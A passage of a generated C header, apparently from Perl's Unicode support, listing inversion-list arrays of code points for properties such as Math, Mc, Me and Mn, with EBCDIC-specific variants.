0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1EEF0, - 0x1EEF2 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_MATH_invlist[] = { /* for EBCDIC 1047 */ - 279, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4C, - 0x4D, - 0x4E, - 0x50, - 0x5F, - 0x60, - 0x6E, - 0x6F, - 0x7E, - 0x7F, - 0x8F, - 0x90, - 0xA1, - 0xA2, - 0xB0, - 0xB1, - 0xBF, - 0xC0, - 0xE1, - 0xE2, - 0x3D0, - 0x3D3, - 0x3D5, - 0x3D6, - 0x3F0, - 0x3F2, - 0x3F4, - 0x3F7, - 0x606, - 0x609, - 0x2016, - 0x2017, - 0x2032, - 0x2035, - 0x2040, - 0x2041, - 0x2044, - 0x2045, - 0x2052, - 0x2053, - 0x2061, - 0x2065, - 0x207A, - 0x207F, - 0x208A, - 0x208F, - 0x20D0, - 0x20DD, - 0x20E1, - 0x20E2, - 0x20E5, - 0x20E7, - 0x20EB, - 0x20F0, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2118, - 0x211E, - 0x2124, - 0x2125, - 0x2128, - 0x212A, - 0x212C, - 0x212E, - 0x212F, - 0x2132, - 0x2133, - 0x2139, - 0x213C, - 0x214A, - 0x214B, - 0x214C, - 0x2190, - 0x21A8, - 0x21A9, - 0x21AF, - 0x21B0, - 0x21B2, - 0x21B6, - 0x21B8, - 0x21BC, - 0x21DC, - 0x21DD, - 0x21DE, - 0x21E4, - 0x21E6, - 0x21F4, - 0x2300, - 0x2308, - 0x230C, - 0x2320, - 0x2322, - 0x237C, - 0x237D, - 0x239B, - 0x23B6, - 0x23B7, - 0x23B8, - 0x23D0, - 0x23D1, - 0x23DC, - 0x23E3, - 0x25A0, - 0x25A2, - 0x25AE, - 0x25B8, - 0x25BC, - 0x25C2, - 0x25C6, - 0x25C8, - 0x25CA, - 0x25CC, - 0x25CF, - 0x25D4, - 0x25E2, - 0x25E3, - 0x25E4, - 0x25E5, - 0x25E7, - 0x25ED, - 0x25F8, - 0x2600, - 0x2605, - 0x2607, - 0x2640, - 0x2641, - 0x2642, - 0x2643, - 0x2660, - 0x2664, - 0x266D, - 0x2670, - 0x27C0, - 0x2800, - 0x2900, - 0x2B00, - 0x2B30, - 0x2B45, - 0x2B47, - 0x2B4D, - 0xFB29, - 0xFB2A, - 0xFE61, - 0xFE67, - 0xFE68, - 0xFE69, - 0xFF0B, - 0xFF0C, - 0xFF1C, - 0xFF1F, - 0xFF3C, - 0xFF3D, - 0xFF3E, - 0xFF3F, - 0xFF5C, - 0xFF5D, - 0xFF5E, - 0xFF5F, - 0xFFE2, - 0xFFE3, - 0xFFE9, - 0xFFED, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1EEF0, - 0x1EEF2 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_MATH_invlist[] = { /* for EBCDIC 037 */ - 279, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4C, - 0x4D, - 0x4E, - 0x50, - 0x5F, - 0x60, - 0x6E, - 0x6F, - 0x7E, - 0x7F, - 0x8F, - 0x90, - 0xA1, - 0xA2, - 0xB0, - 0xB1, - 0xBF, - 0xC0, - 0xE1, - 0xE2, - 0x3D0, - 0x3D3, - 0x3D5, - 0x3D6, - 0x3F0, - 0x3F2, - 0x3F4, - 0x3F7, - 0x606, - 0x609, - 0x2016, - 0x2017, - 0x2032, - 0x2035, - 0x2040, - 0x2041, - 0x2044, - 0x2045, - 0x2052, - 0x2053, - 0x2061, - 0x2065, - 0x207A, - 0x207F, - 0x208A, - 0x208F, - 0x20D0, - 0x20DD, - 0x20E1, - 0x20E2, - 0x20E5, - 0x20E7, - 0x20EB, - 0x20F0, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2118, - 0x211E, - 0x2124, - 0x2125, - 0x2128, - 0x212A, - 0x212C, - 0x212E, - 0x212F, - 0x2132, - 0x2133, - 0x2139, - 0x213C, - 0x214A, - 0x214B, - 0x214C, - 0x2190, - 0x21A8, - 0x21A9, - 0x21AF, - 0x21B0, - 0x21B2, - 0x21B6, - 0x21B8, - 0x21BC, - 0x21DC, - 0x21DD, - 0x21DE, - 0x21E4, - 0x21E6, - 0x21F4, - 0x2300, - 0x2308, - 0x230C, - 0x2320, - 0x2322, - 0x237C, - 0x237D, - 0x239B, - 0x23B6, - 0x23B7, - 0x23B8, - 0x23D0, - 0x23D1, - 0x23DC, - 0x23E3, - 0x25A0, - 0x25A2, - 0x25AE, - 0x25B8, - 0x25BC, - 0x25C2, - 0x25C6, - 0x25C8, - 0x25CA, - 0x25CC, - 0x25CF, - 0x25D4, - 0x25E2, - 0x25E3, - 0x25E4, - 0x25E5, - 0x25E7, - 0x25ED, - 0x25F8, - 0x2600, - 0x2605, - 0x2607, - 0x2640, - 0x2641, - 0x2642, - 0x2643, - 0x2660, - 0x2664, - 0x266D, - 0x2670, - 0x27C0, - 0x2800, - 0x2900, - 0x2B00, - 0x2B30, - 0x2B45, - 0x2B47, - 0x2B4D, - 0xFB29, - 0xFB2A, - 0xFE61, - 0xFE67, - 0xFE68, - 0xFE69, - 0xFF0B, - 0xFF0C, - 0xFF1C, - 0xFF1F, - 0xFF3C, - 0xFF3D, - 0xFF3E, - 0xFF3F, - 0xFF5C, - 0xFF5D, - 0xFF5E, - 0xFF5F, - 0xFFE2, - 0xFFE3, - 0xFFE9, - 0xFFED, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1EEF0, - 0x1EEF2 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_MATHALPHANUM_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1D400, - 0x1D800 -}; - -static const UV PL_MATHOPERATORS_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2200, - 0x2300 -}; - -static const UV PL_MC_invlist[] = { /* for all charsets */ - 321, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x903, - 0x904, - 0x93B, - 0x93C, - 0x93E, - 0x941, - 0x949, - 0x94D, - 0x94E, - 0x950, - 0x982, - 0x984, - 0x9BE, - 0x9C1, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CD, - 0x9D7, - 0x9D8, - 0xA03, - 0xA04, - 0xA3E, - 0xA41, - 0xA83, - 0xA84, - 0xABE, - 0xAC1, - 0xAC9, - 0xACA, - 0xACB, - 0xACD, - 0xB02, - 0xB04, - 0xB3E, - 0xB3F, - 0xB40, - 0xB41, - 0xB47, - 0xB49, - 0xB4B, - 0xB4D, - 0xB57, - 0xB58, - 0xBBE, - 0xBC0, - 0xBC1, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCD, - 0xBD7, - 0xBD8, - 0xC01, - 0xC04, - 0xC41, - 0xC45, - 0xC82, - 0xC84, - 0xCBE, - 0xCBF, - 0xCC0, - 0xCC5, - 0xCC7, - 0xCC9, - 0xCCA, - 0xCCC, - 0xCD5, - 0xCD7, - 0xD02, - 0xD04, - 0xD3E, - 0xD41, - 0xD46, - 0xD49, - 0xD4A, - 0xD4D, - 0xD57, - 0xD58, - 0xD82, - 0xD84, - 0xDCF, - 0xDD2, - 0xDD8, - 0xDE0, - 0xDF2, - 0xDF4, - 0xF3E, - 0xF40, - 0xF7F, - 0xF80, - 0x102B, - 0x102D, - 0x1031, - 0x1032, - 0x1038, - 0x1039, - 0x103B, - 0x103D, - 0x1056, - 0x1058, - 0x1062, - 0x1065, - 0x1067, - 0x106E, - 0x1083, - 0x1085, - 0x1087, - 0x108D, - 0x108F, - 0x1090, - 0x109A, - 0x109D, - 0x17B6, - 0x17B7, - 0x17BE, - 0x17C6, - 0x17C7, - 0x17C9, - 0x1923, - 0x1927, - 0x1929, - 0x192C, - 0x1930, - 0x1932, - 0x1933, - 0x1939, - 0x1A19, - 0x1A1B, - 0x1A55, - 0x1A56, - 0x1A57, - 0x1A58, - 0x1A61, - 0x1A62, - 0x1A63, - 0x1A65, - 0x1A6D, - 0x1A73, - 0x1B04, - 0x1B05, - 0x1B35, - 0x1B36, - 0x1B3B, - 0x1B3C, - 0x1B3D, - 0x1B42, - 0x1B43, - 0x1B45, - 0x1B82, - 0x1B83, - 0x1BA1, - 0x1BA2, - 0x1BA6, - 0x1BA8, - 0x1BAA, - 0x1BAB, - 0x1BE7, - 0x1BE8, - 0x1BEA, - 0x1BED, - 0x1BEE, - 0x1BEF, - 0x1BF2, - 0x1BF4, - 0x1C24, - 0x1C2C, - 0x1C34, - 0x1C36, - 0x1CE1, - 0x1CE2, - 0x1CF2, - 0x1CF4, - 0x1CF7, - 0x1CF8, - 0x302E, - 0x3030, - 0xA823, - 0xA825, - 0xA827, - 0xA828, - 0xA880, - 0xA882, - 0xA8B4, - 0xA8C4, - 0xA952, - 0xA954, - 0xA983, - 0xA984, - 0xA9B4, - 0xA9B6, - 0xA9BA, - 0xA9BC, - 0xA9BD, - 0xA9C1, - 0xAA2F, - 0xAA31, - 0xAA33, - 0xAA35, - 0xAA4D, - 0xAA4E, - 0xAA7B, - 0xAA7C, - 0xAA7D, - 0xAA7E, - 0xAAEB, - 0xAAEC, - 0xAAEE, - 0xAAF0, - 0xAAF5, - 0xAAF6, - 0xABE3, - 0xABE5, - 0xABE6, - 0xABE8, - 0xABE9, - 0xABEB, - 0xABEC, - 0xABED, - 0x11000, - 0x11001, - 0x11002, - 0x11003, - 0x11082, - 0x11083, - 0x110B0, - 0x110B3, - 0x110B7, - 0x110B9, - 0x1112C, - 0x1112D, - 0x11182, - 0x11183, - 0x111B3, - 0x111B6, - 0x111BF, - 0x111C1, - 0x1122C, - 0x1122F, - 0x11232, - 0x11234, - 0x11235, - 0x11236, - 0x112E0, - 0x112E3, - 0x11302, - 0x11304, - 0x1133E, - 0x11340, - 0x11341, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11357, - 0x11358, - 0x11362, - 0x11364, - 0x11435, - 0x11438, - 0x11440, - 0x11442, - 0x11445, - 0x11446, - 0x114B0, - 0x114B3, - 0x114B9, - 0x114BA, - 0x114BB, - 0x114BF, - 0x114C1, - 0x114C2, - 0x115AF, - 0x115B2, - 0x115B8, - 0x115BC, - 0x115BE, - 0x115BF, - 0x11630, - 0x11633, - 0x1163B, - 0x1163D, - 0x1163E, - 0x1163F, - 0x116AC, - 0x116AD, - 0x116AE, - 0x116B0, - 0x116B6, - 0x116B7, - 0x11720, - 0x11722, - 0x11726, - 0x11727, - 0x11A07, - 0x11A09, - 0x11A39, - 0x11A3A, - 0x11A57, - 0x11A59, - 0x11A97, - 0x11A98, - 0x11C2F, - 0x11C30, - 0x11C3E, - 0x11C3F, - 0x11CA9, - 0x11CAA, - 0x11CB1, - 0x11CB2, - 0x11CB4, - 0x11CB5, - 0x16F51, - 0x16F7F, - 0x1D165, - 0x1D167, - 0x1D16D, - 0x1D173 -}; - -static const UV PL_ME_invlist[] = { /* for all charsets */ - 11, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x488, - 0x48A, - 0x1ABE, - 0x1ABF, - 0x20DD, - 0x20E1, - 0x20E2, - 0x20E5, - 0xA670, - 0xA673 -}; - -static const UV PL_MEETEIMAYEKEXT_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xAAE0, - 0xAB00 -}; - -static const UV PL_MEND_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1E800, - 0x1E8C5, - 0x1E8C7, - 0x1E8D7 -}; - -static const UV PL_MERC_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x109A0, - 0x109B8, - 0x109BC, - 0x109D0, - 0x109D2, - 0x10A00 -}; - -static const UV PL_MERO_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10980, - 0x109A0 -}; - -static const UV PL_MIAO_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F7F, - 0x16F8F, - 0x16FA0 -}; - -static const UV PL_MISCARROWS_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2B00, - 0x2C00 -}; - -static const UV PL_MISCMATHSYMBOLSA_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x27C0, - 0x27F0 -}; - -static const UV PL_MISCMATHSYMBOLSB_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2980, - 0x2A00 -}; - -static const UV PL_MISCPICTOGRAPHS_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1F300, - 0x1F600 -}; - -static const UV PL_MISCSYMBOLS_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2600, - 0x2700 -}; - -static const UV PL_MISCTECHNICAL_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2300, - 0x2400 -}; - -static const UV PL_MLYM_invlist[] = { /* for all charsets */ - 23, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x951, - 0x953, - 0x964, - 0x966, - 0xD00, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD50, - 0xD54, - 0xD64, - 0xD66, - 0xD80, - 0x1CDA, - 0x1CDB -}; - -static const UV PL_MN_invlist[] = { /* for all charsets */ - 603, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x300, - 0x370, - 0x483, - 0x488, - 0x591, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x610, - 0x61B, - 0x64B, - 0x660, - 0x670, - 0x671, - 0x6D6, - 0x6DD, - 0x6DF, - 0x6E5, - 0x6E7, - 0x6E9, - 0x6EA, - 0x6EE, - 0x711, - 0x712, - 0x730, - 0x74B, - 0x7A6, - 0x7B1, - 0x7EB, - 0x7F4, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x82E, - 0x859, - 0x85C, - 0x8D4, - 0x8E2, - 0x8E3, - 0x903, - 0x93A, - 0x93B, - 0x93C, - 0x93D, - 0x941, - 0x949, - 0x94D, - 0x94E, - 0x951, - 0x958, - 0x962, - 0x964, - 0x981, - 0x982, - 0x9BC, - 0x9BD, - 0x9C1, - 0x9C5, - 0x9CD, - 0x9CE, - 0x9E2, - 0x9E4, - 0xA01, - 0xA03, - 0xA3C, - 0xA3D, - 0xA41, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA70, - 0xA72, - 0xA75, - 0xA76, - 0xA81, - 0xA83, - 0xABC, - 0xABD, - 0xAC1, - 0xAC6, - 0xAC7, - 0xAC9, - 0xACD, - 0xACE, - 0xAE2, - 0xAE4, - 0xAFA, - 0xB00, - 0xB01, - 0xB02, - 0xB3C, - 0xB3D, - 0xB3F, - 0xB40, - 0xB41, - 0xB45, - 0xB4D, - 0xB4E, - 0xB56, - 0xB57, - 0xB62, - 0xB64, - 0xB82, - 0xB83, - 0xBC0, - 0xBC1, - 0xBCD, - 0xBCE, - 0xC00, - 0xC01, - 0xC3E, - 0xC41, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC62, - 0xC64, - 0xC81, - 0xC82, - 0xCBC, - 0xCBD, - 0xCBF, - 0xCC0, - 0xCC6, - 0xCC7, - 0xCCC, - 0xCCE, - 0xCE2, - 0xCE4, - 0xD00, - 0xD02, - 0xD3B, - 0xD3D, - 0xD41, - 0xD45, - 0xD4D, - 0xD4E, - 0xD62, - 0xD64, - 0xDCA, - 0xDCB, - 0xDD2, - 0xDD5, - 0xDD6, - 0xDD7, - 0xE31, - 0xE32, - 0xE34, - 0xE3B, - 0xE47, - 0xE4F, - 0xEB1, - 0xEB2, - 0xEB4, - 0xEBA, - 0xEBB, - 0xEBD, - 0xEC8, - 0xECE, - 0xF18, - 0xF1A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF71, - 0xF7F, - 0xF80, - 0xF85, - 0xF86, - 0xF88, - 0xF8D, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, - 0x102D, - 0x1031, - 0x1032, - 0x1038, - 0x1039, - 0x103B, - 0x103D, - 0x103F, - 0x1058, - 0x105A, - 0x105E, - 0x1061, - 0x1071, - 0x1075, - 0x1082, - 0x1083, - 0x1085, - 0x1087, - 0x108D, - 0x108E, - 0x109D, - 0x109E, - 0x135D, - 0x1360, - 0x1712, - 0x1715, - 0x1732, - 0x1735, - 0x1752, - 0x1754, - 0x1772, - 0x1774, - 0x17B4, - 0x17B6, - 0x17B7, - 0x17BE, - 0x17C6, - 0x17C7, - 0x17C9, - 0x17D4, - 0x17DD, - 0x17DE, - 0x180B, - 0x180E, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, - 0x1920, - 0x1923, - 0x1927, - 0x1929, - 0x1932, - 0x1933, - 0x1939, - 0x193C, - 0x1A17, - 0x1A19, - 0x1A1B, - 0x1A1C, - 0x1A56, - 0x1A57, - 0x1A58, - 0x1A5F, - 0x1A60, - 0x1A61, - 0x1A62, - 0x1A63, - 0x1A65, - 0x1A6D, - 0x1A73, - 0x1A7D, - 0x1A7F, - 0x1A80, - 0x1AB0, - 0x1ABE, - 0x1B00, - 0x1B04, - 0x1B34, - 0x1B35, - 0x1B36, - 0x1B3B, - 0x1B3C, - 0x1B3D, - 0x1B42, - 0x1B43, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1B82, - 0x1BA2, - 0x1BA6, - 0x1BA8, - 0x1BAA, - 0x1BAB, - 0x1BAE, - 0x1BE6, - 0x1BE7, - 0x1BE8, - 0x1BEA, - 0x1BED, - 0x1BEE, - 0x1BEF, - 0x1BF2, - 0x1C2C, - 0x1C34, - 0x1C36, - 0x1C38, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CE1, - 0x1CE2, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF4, - 0x1CF5, - 0x1CF8, - 0x1CFA, - 0x1DC0, - 0x1DFA, - 0x1DFB, - 0x1E00, - 0x20D0, - 0x20DD, - 0x20E1, - 0x20E2, - 0x20E5, - 0x20F1, - 0x2CEF, - 0x2CF2, - 0x2D7F, - 0x2D80, - 0x2DE0, - 0x2E00, - 0x302A, - 0x302E, - 0x3099, - 0x309B, - 0xA66F, - 0xA670, - 0xA674, - 0xA67E, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA6F2, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA825, - 0xA827, - 0xA8C4, - 0xA8C6, - 0xA8E0, - 0xA8F2, - 0xA926, - 0xA92E, - 0xA947, - 0xA952, - 0xA980, - 0xA983, - 0xA9B3, - 0xA9B4, - 0xA9B6, - 0xA9BA, - 0xA9BC, - 0xA9BD, - 0xA9E5, - 0xA9E6, - 0xAA29, - 0xAA2F, - 0xAA31, - 0xAA33, - 0xAA35, - 0xAA37, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA4D, - 0xAA7C, - 0xAA7D, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAEC, - 0xAAEE, - 0xAAF6, - 0xAAF7, - 0xABE5, - 0xABE6, - 0xABE8, - 0xABE9, - 0xABED, - 0xABEE, - 0xFB1E, - 0xFB1F, - 0xFE00, - 0xFE10, - 0xFE20, - 0xFE30, - 0x101FD, - 0x101FE, - 0x102E0, - 0x102E1, - 0x10376, - 0x1037B, - 0x10A01, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A10, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, - 0x10AE5, - 0x10AE7, - 0x11001, - 0x11002, - 0x11038, - 0x11047, - 0x1107F, - 0x11082, - 0x110B3, - 0x110B7, - 0x110B9, - 0x110BB, - 0x11100, - 0x11103, - 0x11127, - 0x1112C, - 0x1112D, - 0x11135, - 0x11173, - 0x11174, - 0x11180, - 0x11182, - 0x111B6, - 0x111BF, - 0x111CA, - 0x111CD, - 0x1122F, - 0x11232, - 0x11234, - 0x11235, - 0x11236, - 0x11238, - 0x1123E, - 0x1123F, - 0x112DF, - 0x112E0, - 0x112E3, - 0x112EB, - 0x11300, - 0x11302, - 0x1133C, - 0x1133D, - 0x11340, - 0x11341, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11438, - 0x11440, - 0x11442, - 0x11445, - 0x11446, - 0x11447, - 0x114B3, - 0x114B9, - 0x114BA, - 0x114BB, - 0x114BF, - 0x114C1, - 0x114C2, - 0x114C4, - 0x115B2, - 0x115B6, - 0x115BC, - 0x115BE, - 0x115BF, - 0x115C1, - 0x115DC, - 0x115DE, - 0x11633, - 0x1163B, - 0x1163D, - 0x1163E, - 0x1163F, - 0x11641, - 0x116AB, - 0x116AC, - 0x116AD, - 0x116AE, - 0x116B0, - 0x116B6, - 0x116B7, - 0x116B8, - 0x1171D, - 0x11720, - 0x11722, - 0x11726, - 0x11727, - 0x1172C, - 0x11A01, - 0x11A07, - 0x11A09, - 0x11A0B, - 0x11A33, - 0x11A39, - 0x11A3B, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A51, - 0x11A57, - 0x11A59, - 0x11A5C, - 0x11A8A, - 0x11A97, - 0x11A98, - 0x11A9A, - 0x11C30, - 0x11C37, - 0x11C38, - 0x11C3E, - 0x11C3F, - 0x11C40, - 0x11C92, - 0x11CA8, - 0x11CAA, - 0x11CB1, - 0x11CB2, - 0x11CB4, - 0x11CB5, - 0x11CB7, - 0x11D31, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D46, - 0x11D47, - 0x11D48, - 0x16AF0, - 0x16AF5, - 0x16B30, - 0x16B37, - 0x16F8F, - 0x16F93, - 0x1BC9D, - 0x1BC9F, - 0x1D167, - 0x1D16A, - 0x1D17B, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA9B, - 